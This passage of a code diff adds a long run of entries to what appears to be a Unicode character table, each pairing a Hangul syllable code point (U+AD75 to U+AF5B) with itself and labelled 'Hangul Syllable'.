+ ["\uAD75", "\uAD75"], /* Hangul Syllable */
+ ["\uAD76", "\uAD76"], /* Hangul Syllable */
+ ["\uAD77", "\uAD77"], /* Hangul Syllable */
+ ["\uAD78", "\uAD78"], /* Hangul Syllable */
+ ["\uAD79", "\uAD79"], /* Hangul Syllable */
+ ["\uAD7A", "\uAD7A"], /* Hangul Syllable */
+ ["\uAD7B", "\uAD7B"], /* Hangul Syllable */
+ ["\uAD7C", "\uAD7C"], /* Hangul Syllable */
+ ["\uAD7D", "\uAD7D"], /* Hangul Syllable */
+ ["\uAD7E", "\uAD7E"], /* Hangul Syllable */
+ ["\uAD7F", "\uAD7F"], /* Hangul Syllable */
+ ["\uAD80", "\uAD80"], /* Hangul Syllable */
+ ["\uAD81", "\uAD81"], /* Hangul Syllable */
+ ["\uAD82", "\uAD82"], /* Hangul Syllable */
+ ["\uAD83", "\uAD83"], /* Hangul Syllable */
+ ["\uAD84", "\uAD84"], /* Hangul Syllable */
+ ["\uAD85", "\uAD85"], /* Hangul Syllable */
+ ["\uAD86", "\uAD86"], /* Hangul Syllable */
+ ["\uAD87", "\uAD87"], /* Hangul Syllable */
+ ["\uAD88", "\uAD88"], /* Hangul Syllable */
+ ["\uAD89", "\uAD89"], /* Hangul Syllable */
+ ["\uAD8A", "\uAD8A"], /* Hangul Syllable */
+ ["\uAD8B", "\uAD8B"], /* Hangul Syllable */
+ ["\uAD8C", "\uAD8C"], /* Hangul Syllable */
+ ["\uAD8D", "\uAD8D"], /* Hangul Syllable */
+ ["\uAD8E", "\uAD8E"], /* Hangul Syllable */
+ ["\uAD8F", "\uAD8F"], /* Hangul Syllable */
+ ["\uAD90", "\uAD90"], /* Hangul Syllable */
+ ["\uAD91", "\uAD91"], /* Hangul Syllable */
+ ["\uAD92", "\uAD92"], /* Hangul Syllable */
+ ["\uAD93", "\uAD93"], /* Hangul Syllable */
+ ["\uAD94", "\uAD94"], /* Hangul Syllable */
+ ["\uAD95", "\uAD95"], /* Hangul Syllable */
+ ["\uAD96", "\uAD96"], /* Hangul Syllable */
+ ["\uAD97", "\uAD97"], /* Hangul Syllable */
+ ["\uAD98", "\uAD98"], /* Hangul Syllable */
+ ["\uAD99", "\uAD99"], /* Hangul Syllable */
+ ["\uAD9A", "\uAD9A"], /* Hangul Syllable */
+ ["\uAD9B", "\uAD9B"], /* Hangul Syllable */
+ ["\uAD9C", "\uAD9C"], /* Hangul Syllable */
+ ["\uAD9D", "\uAD9D"], /* Hangul Syllable */
+ ["\uAD9E", "\uAD9E"], /* Hangul Syllable */
+ ["\uAD9F", "\uAD9F"], /* Hangul Syllable */
+ ["\uADA0", "\uADA0"], /* Hangul Syllable */
+ ["\uADA1", "\uADA1"], /* Hangul Syllable */
+ ["\uADA2", "\uADA2"], /* Hangul Syllable */
+ ["\uADA3", "\uADA3"], /* Hangul Syllable */
+ ["\uADA4", "\uADA4"], /* Hangul Syllable */
+ ["\uADA5", "\uADA5"], /* Hangul Syllable */
+ ["\uADA6", "\uADA6"], /* Hangul Syllable */
+ ["\uADA7", "\uADA7"], /* Hangul Syllable */
+ ["\uADA8", "\uADA8"], /* Hangul Syllable */
+ ["\uADA9", "\uADA9"], /* Hangul Syllable */
+ ["\uADAA", "\uADAA"], /* Hangul Syllable */
+ ["\uADAB", "\uADAB"], /* Hangul Syllable */
+ ["\uADAC", "\uADAC"], /* Hangul Syllable */
+ ["\uADAD", "\uADAD"], /* Hangul Syllable */
+ ["\uADAE", "\uADAE"], /* Hangul Syllable */
+ ["\uADAF", "\uADAF"], /* Hangul Syllable */
+ ["\uADB0", "\uADB0"], /* Hangul Syllable */
+ ["\uADB1", "\uADB1"], /* Hangul Syllable */
+ ["\uADB2", "\uADB2"], /* Hangul Syllable */
+ ["\uADB3", "\uADB3"], /* Hangul Syllable */
+ ["\uADB4", "\uADB4"], /* Hangul Syllable */
+ ["\uADB5", "\uADB5"], /* Hangul Syllable */
+ ["\uADB6", "\uADB6"], /* Hangul Syllable */
+ ["\uADB7", "\uADB7"], /* Hangul Syllable */
+ ["\uADB8", "\uADB8"], /* Hangul Syllable */
+ ["\uADB9", "\uADB9"], /* Hangul Syllable */
+ ["\uADBA", "\uADBA"], /* Hangul Syllable */
+ ["\uADBB", "\uADBB"], /* Hangul Syllable */
+ ["\uADBC", "\uADBC"], /* Hangul Syllable */
+ ["\uADBD", "\uADBD"], /* Hangul Syllable */
+ ["\uADBE", "\uADBE"], /* Hangul Syllable */
+ ["\uADBF", "\uADBF"], /* Hangul Syllable */
+ ["\uADC0", "\uADC0"], /* Hangul Syllable */
+ ["\uADC1", "\uADC1"], /* Hangul Syllable */
+ ["\uADC2", "\uADC2"], /* Hangul Syllable */
+ ["\uADC3", "\uADC3"], /* Hangul Syllable */
+ ["\uADC4", "\uADC4"], /* Hangul Syllable */
+ ["\uADC5", "\uADC5"], /* Hangul Syllable */
+ ["\uADC6", "\uADC6"], /* Hangul Syllable */
+ ["\uADC7", "\uADC7"], /* Hangul Syllable */
+ ["\uADC8", "\uADC8"], /* Hangul Syllable */
+ ["\uADC9", "\uADC9"], /* Hangul Syllable */
+ ["\uADCA", "\uADCA"], /* Hangul Syllable */
+ ["\uADCB", "\uADCB"], /* Hangul Syllable */
+ ["\uADCC", "\uADCC"], /* Hangul Syllable */
+ ["\uADCD", "\uADCD"], /* Hangul Syllable */
+ ["\uADCE", "\uADCE"], /* Hangul Syllable */
+ ["\uADCF", "\uADCF"], /* Hangul Syllable */
+ ["\uADD0", "\uADD0"], /* Hangul Syllable */
+ ["\uADD1", "\uADD1"], /* Hangul Syllable */
+ ["\uADD2", "\uADD2"], /* Hangul Syllable */
+ ["\uADD3", "\uADD3"], /* Hangul Syllable */
+ ["\uADD4", "\uADD4"], /* Hangul Syllable */
+ ["\uADD5", "\uADD5"], /* Hangul Syllable */
+ ["\uADD6", "\uADD6"], /* Hangul Syllable */
+ ["\uADD7", "\uADD7"], /* Hangul Syllable */
+ ["\uADD8", "\uADD8"], /* Hangul Syllable */
+ ["\uADD9", "\uADD9"], /* Hangul Syllable */
+ ["\uADDA", "\uADDA"], /* Hangul Syllable */
+ ["\uADDB", "\uADDB"], /* Hangul Syllable */
+ ["\uADDC", "\uADDC"], /* Hangul Syllable */
+ ["\uADDD", "\uADDD"], /* Hangul Syllable */
+ ["\uADDE", "\uADDE"], /* Hangul Syllable */
+ ["\uADDF", "\uADDF"], /* Hangul Syllable */
+ ["\uADE0", "\uADE0"], /* Hangul Syllable */
+ ["\uADE1", "\uADE1"], /* Hangul Syllable */
+ ["\uADE2", "\uADE2"], /* Hangul Syllable */
+ ["\uADE3", "\uADE3"], /* Hangul Syllable */
+ ["\uADE4", "\uADE4"], /* Hangul Syllable */
+ ["\uADE5", "\uADE5"], /* Hangul Syllable */
+ ["\uADE6", "\uADE6"], /* Hangul Syllable */
+ ["\uADE7", "\uADE7"], /* Hangul Syllable */
+ ["\uADE8", "\uADE8"], /* Hangul Syllable */
+ ["\uADE9", "\uADE9"], /* Hangul Syllable */
+ ["\uADEA", "\uADEA"], /* Hangul Syllable */
+ ["\uADEB", "\uADEB"], /* Hangul Syllable */
+ ["\uADEC", "\uADEC"], /* Hangul Syllable */
+ ["\uADED", "\uADED"], /* Hangul Syllable */
+ ["\uADEE", "\uADEE"], /* Hangul Syllable */
+ ["\uADEF", "\uADEF"], /* Hangul Syllable */
+ ["\uADF0", "\uADF0"], /* Hangul Syllable */
+ ["\uADF1", "\uADF1"], /* Hangul Syllable */
+ ["\uADF2", "\uADF2"], /* Hangul Syllable */
+ ["\uADF3", "\uADF3"], /* Hangul Syllable */
+ ["\uADF4", "\uADF4"], /* Hangul Syllable */
+ ["\uADF5", "\uADF5"], /* Hangul Syllable */
+ ["\uADF6", "\uADF6"], /* Hangul Syllable */
+ ["\uADF7", "\uADF7"], /* Hangul Syllable */
+ ["\uADF8", "\uADF8"], /* Hangul Syllable */
+ ["\uADF9", "\uADF9"], /* Hangul Syllable */
+ ["\uADFA", "\uADFA"], /* Hangul Syllable */
+ ["\uADFB", "\uADFB"], /* Hangul Syllable */
+ ["\uADFC", "\uADFC"], /* Hangul Syllable */
+ ["\uADFD", "\uADFD"], /* Hangul Syllable */
+ ["\uADFE", "\uADFE"], /* Hangul Syllable */
+ ["\uADFF", "\uADFF"], /* Hangul Syllable */
+ ["\uAE00", "\uAE00"], /* Hangul Syllable */
+ ["\uAE01", "\uAE01"], /* Hangul Syllable */
+ ["\uAE02", "\uAE02"], /* Hangul Syllable */
+ ["\uAE03", "\uAE03"], /* Hangul Syllable */
+ ["\uAE04", "\uAE04"], /* Hangul Syllable */
+ ["\uAE05", "\uAE05"], /* Hangul Syllable */
+ ["\uAE06", "\uAE06"], /* Hangul Syllable */
+ ["\uAE07", "\uAE07"], /* Hangul Syllable */
+ ["\uAE08", "\uAE08"], /* Hangul Syllable */
+ ["\uAE09", "\uAE09"], /* Hangul Syllable */
+ ["\uAE0A", "\uAE0A"], /* Hangul Syllable */
+ ["\uAE0B", "\uAE0B"], /* Hangul Syllable */
+ ["\uAE0C", "\uAE0C"], /* Hangul Syllable */
+ ["\uAE0D", "\uAE0D"], /* Hangul Syllable */
+ ["\uAE0E", "\uAE0E"], /* Hangul Syllable */
+ ["\uAE0F", "\uAE0F"], /* Hangul Syllable */
+ ["\uAE10", "\uAE10"], /* Hangul Syllable */
+ ["\uAE11", "\uAE11"], /* Hangul Syllable */
+ ["\uAE12", "\uAE12"], /* Hangul Syllable */
+ ["\uAE13", "\uAE13"], /* Hangul Syllable */
+ ["\uAE14", "\uAE14"], /* Hangul Syllable */
+ ["\uAE15", "\uAE15"], /* Hangul Syllable */
+ ["\uAE16", "\uAE16"], /* Hangul Syllable */
+ ["\uAE17", "\uAE17"], /* Hangul Syllable */
+ ["\uAE18", "\uAE18"], /* Hangul Syllable */
+ ["\uAE19", "\uAE19"], /* Hangul Syllable */
+ ["\uAE1A", "\uAE1A"], /* Hangul Syllable */
+ ["\uAE1B", "\uAE1B"], /* Hangul Syllable */
+ ["\uAE1C", "\uAE1C"], /* Hangul Syllable */
+ ["\uAE1D", "\uAE1D"], /* Hangul Syllable */
+ ["\uAE1E", "\uAE1E"], /* Hangul Syllable */
+ ["\uAE1F", "\uAE1F"], /* Hangul Syllable */
+ ["\uAE20", "\uAE20"], /* Hangul Syllable */
+ ["\uAE21", "\uAE21"], /* Hangul Syllable */
+ ["\uAE22", "\uAE22"], /* Hangul Syllable */
+ ["\uAE23", "\uAE23"], /* Hangul Syllable */
+ ["\uAE24", "\uAE24"], /* Hangul Syllable */
+ ["\uAE25", "\uAE25"], /* Hangul Syllable */
+ ["\uAE26", "\uAE26"], /* Hangul Syllable */
+ ["\uAE27", "\uAE27"], /* Hangul Syllable */
+ ["\uAE28", "\uAE28"], /* Hangul Syllable */
+ ["\uAE29", "\uAE29"], /* Hangul Syllable */
+ ["\uAE2A", "\uAE2A"], /* Hangul Syllable */
+ ["\uAE2B", "\uAE2B"], /* Hangul Syllable */
+ ["\uAE2C", "\uAE2C"], /* Hangul Syllable */
+ ["\uAE2D", "\uAE2D"], /* Hangul Syllable */
+ ["\uAE2E", "\uAE2E"], /* Hangul Syllable */
+ ["\uAE2F", "\uAE2F"], /* Hangul Syllable */
+ ["\uAE30", "\uAE30"], /* Hangul Syllable */
+ ["\uAE31", "\uAE31"], /* Hangul Syllable */
+ ["\uAE32", "\uAE32"], /* Hangul Syllable */
+ ["\uAE33", "\uAE33"], /* Hangul Syllable */
+ ["\uAE34", "\uAE34"], /* Hangul Syllable */
+ ["\uAE35", "\uAE35"], /* Hangul Syllable */
+ ["\uAE36", "\uAE36"], /* Hangul Syllable */
+ ["\uAE37", "\uAE37"], /* Hangul Syllable */
+ ["\uAE38", "\uAE38"], /* Hangul Syllable */
+ ["\uAE39", "\uAE39"], /* Hangul Syllable */
+ ["\uAE3A", "\uAE3A"], /* Hangul Syllable */
+ ["\uAE3B", "\uAE3B"], /* Hangul Syllable */
+ ["\uAE3C", "\uAE3C"], /* Hangul Syllable */
+ ["\uAE3D", "\uAE3D"], /* Hangul Syllable */
+ ["\uAE3E", "\uAE3E"], /* Hangul Syllable */
+ ["\uAE3F", "\uAE3F"], /* Hangul Syllable */
+ ["\uAE40", "\uAE40"], /* Hangul Syllable */
+ ["\uAE41", "\uAE41"], /* Hangul Syllable */
+ ["\uAE42", "\uAE42"], /* Hangul Syllable */
+ ["\uAE43", "\uAE43"], /* Hangul Syllable */
+ ["\uAE44", "\uAE44"], /* Hangul Syllable */
+ ["\uAE45", "\uAE45"], /* Hangul Syllable */
+ ["\uAE46", "\uAE46"], /* Hangul Syllable */
+ ["\uAE47", "\uAE47"], /* Hangul Syllable */
+ ["\uAE48", "\uAE48"], /* Hangul Syllable */
+ ["\uAE49", "\uAE49"], /* Hangul Syllable */
+ ["\uAE4A", "\uAE4A"], /* Hangul Syllable */
+ ["\uAE4B", "\uAE4B"], /* Hangul Syllable */
+ ["\uAE4C", "\uAE4C"], /* Hangul Syllable */
+ ["\uAE4D", "\uAE4D"], /* Hangul Syllable */
+ ["\uAE4E", "\uAE4E"], /* Hangul Syllable */
+ ["\uAE4F", "\uAE4F"], /* Hangul Syllable */
+ ["\uAE50", "\uAE50"], /* Hangul Syllable */
+ ["\uAE51", "\uAE51"], /* Hangul Syllable */
+ ["\uAE52", "\uAE52"], /* Hangul Syllable */
+ ["\uAE53", "\uAE53"], /* Hangul Syllable */
+ ["\uAE54", "\uAE54"], /* Hangul Syllable */
+ ["\uAE55", "\uAE55"], /* Hangul Syllable */
+ ["\uAE56", "\uAE56"], /* Hangul Syllable */
+ ["\uAE57", "\uAE57"], /* Hangul Syllable */
+ ["\uAE58", "\uAE58"], /* Hangul Syllable */
+ ["\uAE59", "\uAE59"], /* Hangul Syllable */
+ ["\uAE5A", "\uAE5A"], /* Hangul Syllable */
+ ["\uAE5B", "\uAE5B"], /* Hangul Syllable */
+ ["\uAE5C", "\uAE5C"], /* Hangul Syllable */
+ ["\uAE5D", "\uAE5D"], /* Hangul Syllable */
+ ["\uAE5E", "\uAE5E"], /* Hangul Syllable */
+ ["\uAE5F", "\uAE5F"], /* Hangul Syllable */
+ ["\uAE60", "\uAE60"], /* Hangul Syllable */
+ ["\uAE61", "\uAE61"], /* Hangul Syllable */
+ ["\uAE62", "\uAE62"], /* Hangul Syllable */
+ ["\uAE63", "\uAE63"], /* Hangul Syllable */
+ ["\uAE64", "\uAE64"], /* Hangul Syllable */
+ ["\uAE65", "\uAE65"], /* Hangul Syllable */
+ ["\uAE66", "\uAE66"], /* Hangul Syllable */
+ ["\uAE67", "\uAE67"], /* Hangul Syllable */
+ ["\uAE68", "\uAE68"], /* Hangul Syllable */
+ ["\uAE69", "\uAE69"], /* Hangul Syllable */
+ ["\uAE6A", "\uAE6A"], /* Hangul Syllable */
+ ["\uAE6B", "\uAE6B"], /* Hangul Syllable */
+ ["\uAE6C", "\uAE6C"], /* Hangul Syllable */
+ ["\uAE6D", "\uAE6D"], /* Hangul Syllable */
+ ["\uAE6E", "\uAE6E"], /* Hangul Syllable */
+ ["\uAE6F", "\uAE6F"], /* Hangul Syllable */
+ ["\uAE70", "\uAE70"], /* Hangul Syllable */
+ ["\uAE71", "\uAE71"], /* Hangul Syllable */
+ ["\uAE72", "\uAE72"], /* Hangul Syllable */
+ ["\uAE73", "\uAE73"], /* Hangul Syllable */
+ ["\uAE74", "\uAE74"], /* Hangul Syllable */
+ ["\uAE75", "\uAE75"], /* Hangul Syllable */
+ ["\uAE76", "\uAE76"], /* Hangul Syllable */
+ ["\uAE77", "\uAE77"], /* Hangul Syllable */
+ ["\uAE78", "\uAE78"], /* Hangul Syllable */
+ ["\uAE79", "\uAE79"], /* Hangul Syllable */
+ ["\uAE7A", "\uAE7A"], /* Hangul Syllable */
+ ["\uAE7B", "\uAE7B"], /* Hangul Syllable */
+ ["\uAE7C", "\uAE7C"], /* Hangul Syllable */
+ ["\uAE7D", "\uAE7D"], /* Hangul Syllable */
+ ["\uAE7E", "\uAE7E"], /* Hangul Syllable */
+ ["\uAE7F", "\uAE7F"], /* Hangul Syllable */
+ ["\uAE80", "\uAE80"], /* Hangul Syllable */
+ ["\uAE81", "\uAE81"], /* Hangul Syllable */
+ ["\uAE82", "\uAE82"], /* Hangul Syllable */
+ ["\uAE83", "\uAE83"], /* Hangul Syllable */
+ ["\uAE84", "\uAE84"], /* Hangul Syllable */
+ ["\uAE85", "\uAE85"], /* Hangul Syllable */
+ ["\uAE86", "\uAE86"], /* Hangul Syllable */
+ ["\uAE87", "\uAE87"], /* Hangul Syllable */
+ ["\uAE88", "\uAE88"], /* Hangul Syllable */
+ ["\uAE89", "\uAE89"], /* Hangul Syllable */
+ ["\uAE8A", "\uAE8A"], /* Hangul Syllable */
+ ["\uAE8B", "\uAE8B"], /* Hangul Syllable */
+ ["\uAE8C", "\uAE8C"], /* Hangul Syllable */
+ ["\uAE8D", "\uAE8D"], /* Hangul Syllable */
+ ["\uAE8E", "\uAE8E"], /* Hangul Syllable */
+ ["\uAE8F", "\uAE8F"], /* Hangul Syllable */
+ ["\uAE90", "\uAE90"], /* Hangul Syllable */
+ ["\uAE91", "\uAE91"], /* Hangul Syllable */
+ ["\uAE92", "\uAE92"], /* Hangul Syllable */
+ ["\uAE93", "\uAE93"], /* Hangul Syllable */
+ ["\uAE94", "\uAE94"], /* Hangul Syllable */
+ ["\uAE95", "\uAE95"], /* Hangul Syllable */
+ ["\uAE96", "\uAE96"], /* Hangul Syllable */
+ ["\uAE97", "\uAE97"], /* Hangul Syllable */
+ ["\uAE98", "\uAE98"], /* Hangul Syllable */
+ ["\uAE99", "\uAE99"], /* Hangul Syllable */
+ ["\uAE9A", "\uAE9A"], /* Hangul Syllable */
+ ["\uAE9B", "\uAE9B"], /* Hangul Syllable */
+ ["\uAE9C", "\uAE9C"], /* Hangul Syllable */
+ ["\uAE9D", "\uAE9D"], /* Hangul Syllable */
+ ["\uAE9E", "\uAE9E"], /* Hangul Syllable */
+ ["\uAE9F", "\uAE9F"], /* Hangul Syllable */
+ ["\uAEA0", "\uAEA0"], /* Hangul Syllable */
+ ["\uAEA1", "\uAEA1"], /* Hangul Syllable */
+ ["\uAEA2", "\uAEA2"], /* Hangul Syllable */
+ ["\uAEA3", "\uAEA3"], /* Hangul Syllable */
+ ["\uAEA4", "\uAEA4"], /* Hangul Syllable */
+ ["\uAEA5", "\uAEA5"], /* Hangul Syllable */
+ ["\uAEA6", "\uAEA6"], /* Hangul Syllable */
+ ["\uAEA7", "\uAEA7"], /* Hangul Syllable */
+ ["\uAEA8", "\uAEA8"], /* Hangul Syllable */
+ ["\uAEA9", "\uAEA9"], /* Hangul Syllable */
+ ["\uAEAA", "\uAEAA"], /* Hangul Syllable */
+ ["\uAEAB", "\uAEAB"], /* Hangul Syllable */
+ ["\uAEAC", "\uAEAC"], /* Hangul Syllable */
+ ["\uAEAD", "\uAEAD"], /* Hangul Syllable */
+ ["\uAEAE", "\uAEAE"], /* Hangul Syllable */
+ ["\uAEAF", "\uAEAF"], /* Hangul Syllable */
+ ["\uAEB0", "\uAEB0"], /* Hangul Syllable */
+ ["\uAEB1", "\uAEB1"], /* Hangul Syllable */
+ ["\uAEB2", "\uAEB2"], /* Hangul Syllable */
+ ["\uAEB3", "\uAEB3"], /* Hangul Syllable */
+ ["\uAEB4", "\uAEB4"], /* Hangul Syllable */
+ ["\uAEB5", "\uAEB5"], /* Hangul Syllable */
+ ["\uAEB6", "\uAEB6"], /* Hangul Syllable */
+ ["\uAEB7", "\uAEB7"], /* Hangul Syllable */
+ ["\uAEB8", "\uAEB8"], /* Hangul Syllable */
+ ["\uAEB9", "\uAEB9"], /* Hangul Syllable */
+ ["\uAEBA", "\uAEBA"], /* Hangul Syllable */
+ ["\uAEBB", "\uAEBB"], /* Hangul Syllable */
+ ["\uAEBC", "\uAEBC"], /* Hangul Syllable */
+ ["\uAEBD", "\uAEBD"], /* Hangul Syllable */
+ ["\uAEBE", "\uAEBE"], /* Hangul Syllable */
+ ["\uAEBF", "\uAEBF"], /* Hangul Syllable */
+ ["\uAEC0", "\uAEC0"], /* Hangul Syllable */
+ ["\uAEC1", "\uAEC1"], /* Hangul Syllable */
+ ["\uAEC2", "\uAEC2"], /* Hangul Syllable */
+ ["\uAEC3", "\uAEC3"], /* Hangul Syllable */
+ ["\uAEC4", "\uAEC4"], /* Hangul Syllable */
+ ["\uAEC5", "\uAEC5"], /* Hangul Syllable */
+ ["\uAEC6", "\uAEC6"], /* Hangul Syllable */
+ ["\uAEC7", "\uAEC7"], /* Hangul Syllable */
+ ["\uAEC8", "\uAEC8"], /* Hangul Syllable */
+ ["\uAEC9", "\uAEC9"], /* Hangul Syllable */
+ ["\uAECA", "\uAECA"], /* Hangul Syllable */
+ ["\uAECB", "\uAECB"], /* Hangul Syllable */
+ ["\uAECC", "\uAECC"], /* Hangul Syllable */
+ ["\uAECD", "\uAECD"], /* Hangul Syllable */
+ ["\uAECE", "\uAECE"], /* Hangul Syllable */
+ ["\uAECF", "\uAECF"], /* Hangul Syllable */
+ ["\uAED0", "\uAED0"], /* Hangul Syllable */
+ ["\uAED1", "\uAED1"], /* Hangul Syllable */
+ ["\uAED2", "\uAED2"], /* Hangul Syllable */
+ ["\uAED3", "\uAED3"], /* Hangul Syllable */
+ ["\uAED4", "\uAED4"], /* Hangul Syllable */
+ ["\uAED5", "\uAED5"], /* Hangul Syllable */
+ ["\uAED6", "\uAED6"], /* Hangul Syllable */
+ ["\uAED7", "\uAED7"], /* Hangul Syllable */
+ ["\uAED8", "\uAED8"], /* Hangul Syllable */
+ ["\uAED9", "\uAED9"], /* Hangul Syllable */
+ ["\uAEDA", "\uAEDA"], /* Hangul Syllable */
+ ["\uAEDB", "\uAEDB"], /* Hangul Syllable */
+ ["\uAEDC", "\uAEDC"], /* Hangul Syllable */
+ ["\uAEDD", "\uAEDD"], /* Hangul Syllable */
+ ["\uAEDE", "\uAEDE"], /* Hangul Syllable */
+ ["\uAEDF", "\uAEDF"], /* Hangul Syllable */
+ ["\uAEE0", "\uAEE0"], /* Hangul Syllable */
+ ["\uAEE1", "\uAEE1"], /* Hangul Syllable */
+ ["\uAEE2", "\uAEE2"], /* Hangul Syllable */
+ ["\uAEE3", "\uAEE3"], /* Hangul Syllable */
+ ["\uAEE4", "\uAEE4"], /* Hangul Syllable */
+ ["\uAEE5", "\uAEE5"], /* Hangul Syllable */
+ ["\uAEE6", "\uAEE6"], /* Hangul Syllable */
+ ["\uAEE7", "\uAEE7"], /* Hangul Syllable */
+ ["\uAEE8", "\uAEE8"], /* Hangul Syllable */
+ ["\uAEE9", "\uAEE9"], /* Hangul Syllable */
+ ["\uAEEA", "\uAEEA"], /* Hangul Syllable */
+ ["\uAEEB", "\uAEEB"], /* Hangul Syllable */
+ ["\uAEEC", "\uAEEC"], /* Hangul Syllable */
+ ["\uAEED", "\uAEED"], /* Hangul Syllable */
+ ["\uAEEE", "\uAEEE"], /* Hangul Syllable */
+ ["\uAEEF", "\uAEEF"], /* Hangul Syllable */
+ ["\uAEF0", "\uAEF0"], /* Hangul Syllable */
+ ["\uAEF1", "\uAEF1"], /* Hangul Syllable */
+ ["\uAEF2", "\uAEF2"], /* Hangul Syllable */
+ ["\uAEF3", "\uAEF3"], /* Hangul Syllable */
+ ["\uAEF4", "\uAEF4"], /* Hangul Syllable */
+ ["\uAEF5", "\uAEF5"], /* Hangul Syllable */
+ ["\uAEF6", "\uAEF6"], /* Hangul Syllable */
+ ["\uAEF7", "\uAEF7"], /* Hangul Syllable */
+ ["\uAEF8", "\uAEF8"], /* Hangul Syllable */
+ ["\uAEF9", "\uAEF9"], /* Hangul Syllable */
+ ["\uAEFA", "\uAEFA"], /* Hangul Syllable */
+ ["\uAEFB", "\uAEFB"], /* Hangul Syllable */
+ ["\uAEFC", "\uAEFC"], /* Hangul Syllable */
+ ["\uAEFD", "\uAEFD"], /* Hangul Syllable */
+ ["\uAEFE", "\uAEFE"], /* Hangul Syllable */
+ ["\uAEFF", "\uAEFF"], /* Hangul Syllable */
+ ["\uAF00", "\uAF00"], /* Hangul Syllable */
+ ["\uAF01", "\uAF01"], /* Hangul Syllable */
+ ["\uAF02", "\uAF02"], /* Hangul Syllable */
+ ["\uAF03", "\uAF03"], /* Hangul Syllable */
+ ["\uAF04", "\uAF04"], /* Hangul Syllable */
+ ["\uAF05", "\uAF05"], /* Hangul Syllable */
+ ["\uAF06", "\uAF06"], /* Hangul Syllable */
+ ["\uAF07", "\uAF07"], /* Hangul Syllable */
+ ["\uAF08", "\uAF08"], /* Hangul Syllable */
+ ["\uAF09", "\uAF09"], /* Hangul Syllable */
+ ["\uAF0A", "\uAF0A"], /* Hangul Syllable */
+ ["\uAF0B", "\uAF0B"], /* Hangul Syllable */
+ ["\uAF0C", "\uAF0C"], /* Hangul Syllable */
+ ["\uAF0D", "\uAF0D"], /* Hangul Syllable */
+ ["\uAF0E", "\uAF0E"], /* Hangul Syllable */
+ ["\uAF0F", "\uAF0F"], /* Hangul Syllable */
+ ["\uAF10", "\uAF10"], /* Hangul Syllable */
+ ["\uAF11", "\uAF11"], /* Hangul Syllable */
+ ["\uAF12", "\uAF12"], /* Hangul Syllable */
+ ["\uAF13", "\uAF13"], /* Hangul Syllable */
+ ["\uAF14", "\uAF14"], /* Hangul Syllable */
+ ["\uAF15", "\uAF15"], /* Hangul Syllable */
+ ["\uAF16", "\uAF16"], /* Hangul Syllable */
+ ["\uAF17", "\uAF17"], /* Hangul Syllable */
+ ["\uAF18", "\uAF18"], /* Hangul Syllable */
+ ["\uAF19", "\uAF19"], /* Hangul Syllable */
+ ["\uAF1A", "\uAF1A"], /* Hangul Syllable */
+ ["\uAF1B", "\uAF1B"], /* Hangul Syllable */
+ ["\uAF1C", "\uAF1C"], /* Hangul Syllable */
+ ["\uAF1D", "\uAF1D"], /* Hangul Syllable */
+ ["\uAF1E", "\uAF1E"], /* Hangul Syllable */
+ ["\uAF1F", "\uAF1F"], /* Hangul Syllable */
+ ["\uAF20", "\uAF20"], /* Hangul Syllable */
+ ["\uAF21", "\uAF21"], /* Hangul Syllable */
+ ["\uAF22", "\uAF22"], /* Hangul Syllable */
+ ["\uAF23", "\uAF23"], /* Hangul Syllable */
+ ["\uAF24", "\uAF24"], /* Hangul Syllable */
+ ["\uAF25", "\uAF25"], /* Hangul Syllable */
+ ["\uAF26", "\uAF26"], /* Hangul Syllable */
+ ["\uAF27", "\uAF27"], /* Hangul Syllable */
+ ["\uAF28", "\uAF28"], /* Hangul Syllable */
+ ["\uAF29", "\uAF29"], /* Hangul Syllable */
+ ["\uAF2A", "\uAF2A"], /* Hangul Syllable */
+ ["\uAF2B", "\uAF2B"], /* Hangul Syllable */
+ ["\uAF2C", "\uAF2C"], /* Hangul Syllable */
+ ["\uAF2D", "\uAF2D"], /* Hangul Syllable */
+ ["\uAF2E", "\uAF2E"], /* Hangul Syllable */
+ ["\uAF2F", "\uAF2F"], /* Hangul Syllable */
+ ["\uAF30", "\uAF30"], /* Hangul Syllable */
+ ["\uAF31", "\uAF31"], /* Hangul Syllable */
+ ["\uAF32", "\uAF32"], /* Hangul Syllable */
+ ["\uAF33", "\uAF33"], /* Hangul Syllable */
+ ["\uAF34", "\uAF34"], /* Hangul Syllable */
+ ["\uAF35", "\uAF35"], /* Hangul Syllable */
+ ["\uAF36", "\uAF36"], /* Hangul Syllable */
+ ["\uAF37", "\uAF37"], /* Hangul Syllable */
+ ["\uAF38", "\uAF38"], /* Hangul Syllable */
+ ["\uAF39", "\uAF39"], /* Hangul Syllable */
+ ["\uAF3A", "\uAF3A"], /* Hangul Syllable */
+ ["\uAF3B", "\uAF3B"], /* Hangul Syllable */
+ ["\uAF3C", "\uAF3C"], /* Hangul Syllable */
+ ["\uAF3D", "\uAF3D"], /* Hangul Syllable */
+ ["\uAF3E", "\uAF3E"], /* Hangul Syllable */
+ ["\uAF3F", "\uAF3F"], /* Hangul Syllable */
+ ["\uAF40", "\uAF40"], /* Hangul Syllable */
+ ["\uAF41", "\uAF41"], /* Hangul Syllable */
+ ["\uAF42", "\uAF42"], /* Hangul Syllable */
+ ["\uAF43", "\uAF43"], /* Hangul Syllable */
+ ["\uAF44", "\uAF44"], /* Hangul Syllable */
+ ["\uAF45", "\uAF45"], /* Hangul Syllable */
+ ["\uAF46", "\uAF46"], /* Hangul Syllable */
+ ["\uAF47", "\uAF47"], /* Hangul Syllable */
+ ["\uAF48", "\uAF48"], /* Hangul Syllable */
+ ["\uAF49", "\uAF49"], /* Hangul Syllable */
+ ["\uAF4A", "\uAF4A"], /* Hangul Syllable */
+ ["\uAF4B", "\uAF4B"], /* Hangul Syllable */
+ ["\uAF4C", "\uAF4C"], /* Hangul Syllable */
+ ["\uAF4D", "\uAF4D"], /* Hangul Syllable */
+ ["\uAF4E", "\uAF4E"], /* Hangul Syllable */
+ ["\uAF4F", "\uAF4F"], /* Hangul Syllable */
+ ["\uAF50", "\uAF50"], /* Hangul Syllable */
+ ["\uAF51", "\uAF51"], /* Hangul Syllable */
+ ["\uAF52", "\uAF52"], /* Hangul Syllable */
+ ["\uAF53", "\uAF53"], /* Hangul Syllable */
+ ["\uAF54", "\uAF54"], /* Hangul Syllable */
+ ["\uAF55", "\uAF55"], /* Hangul Syllable */
+ ["\uAF56", "\uAF56"], /* Hangul Syllable */
+ ["\uAF57", "\uAF57"], /* Hangul Syllable */
+ ["\uAF58", "\uAF58"], /* Hangul Syllable */
+ ["\uAF59", "\uAF59"], /* Hangul Syllable */
+ ["\uAF5A", "\uAF5A"], /* Hangul Syllable */
+ ["\uAF5B", "\uAF5B"], /* Hangul Syllable */
